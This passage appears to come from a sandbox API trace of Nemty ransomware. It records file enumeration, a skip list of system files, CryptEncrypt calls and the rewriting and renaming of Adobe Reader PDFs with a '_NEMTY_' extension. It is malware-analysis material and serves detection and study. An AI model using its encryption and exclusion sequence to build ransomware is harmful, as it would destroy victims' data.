lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x248bbbf0, dwHighDateTime=0x1d561e8)) [0189.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x248bbbf0, dwHighDateTime=0x1d561e8)) [0189.413] GetLastError () returned 0x0 [0189.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.413] GetLastError () returned 0x0 [0189.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.413] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.413] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.414] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.414] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="4bQnkjCD1JKxsb/yThHZUGTe5aIuaxry0NfEIMpWtD5A0AhO5eGrTFPdlR3Te8lJ\r\nEG92ePqgnl3yXeQYNIWNTdbtpBmKs7wfjx22mtFzi7SeMPbDBe7v1rKWL2AGUpRT\r\nWzRk5awPkzOwE/WkHwO5hGIvp/sCpPl+j3m5ukJtBGr6EzKEj/iLtQZ1Sn6VzxeI\r\nNGSQ+QMCbR316CoK6cusjw5d1UAhrM1LnjIqbhWw3nEP2a/Paw1iP38HBrBZkGKM\r\nQHmWZw+ciLTYlZgsrbdm2r/oX9YULkD4Pb7ZsUD69f3NCkLUBGJMu9ulGr1wo4nZ\r\niuexjvkEzn6e7CYzf2BPOg==\r\n", pcchString=0x653df5c) returned 1 [0189.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.414] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=59190) returned 1 [0189.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe730) returned 0x6352c48 [0189.414] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.414] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xe730, lpOverlapped=0x0) returned 1 [0189.420] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.420] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xe730, lpOverlapped=0x0) returned 1 [0189.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.420] SetFilePointer (in: hFile=0x320, lDistanceToMove=59190, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe736 [0189.420] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.420] CloseHandle (hObject=0x320) returned 1 [0189.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.421] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.422] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0189.422] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0189.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.423] Sleep (dwMilliseconds=0x5) [0189.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x248e1d50, dwHighDateTime=0x1d561e8)) [0189.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x248e1d50, dwHighDateTime=0x1d561e8)) [0189.429] GetLastError () returned 0x0 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.429] GetLastError () returned 0x0 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.429] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.429] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="aGEQ+j9zmO7GlXSttzG9d4zm3YBCqQKGrKGBUSJW8+YgE4jJqQy3Wy9cX9e8Aiho\r\nXA5pWdS/CRrXajuWu9njUjuKcjNXV0g0Tzd5qkgWgjzIZgmdEWdSKmWsZ5K/R2Fa\r\nLkweyyQlexufiCjkSF4WoMp/fu9SemTYtqm0VUInEiXypJPH0ujK5OFKD6jxvN4n\r\ni+ZsZ5Dz3V2vszAgvXpBMXIhUhG0qI02YPOFIVxEjAvuKrKAnx9VP6G3NmZZkp5M\r\nSDEWC40HV8NrLe92X3kyQAf/Co2JcS9wbkkYai7skrF8iohhUfbXDUaiVUoAyhO9\r\nq83/SVNm5alCEIRj5WQhcg==\r\n", pcchString=0x653df5c) returned 1 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.430] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0189.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.430] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.430] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.439] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.439] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.439] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0189.439] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.439] CloseHandle (hObject=0x320) returned 1 [0189.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.440] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf._nemty_kgobjgd_")) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.440] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.440] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.440] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.441] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 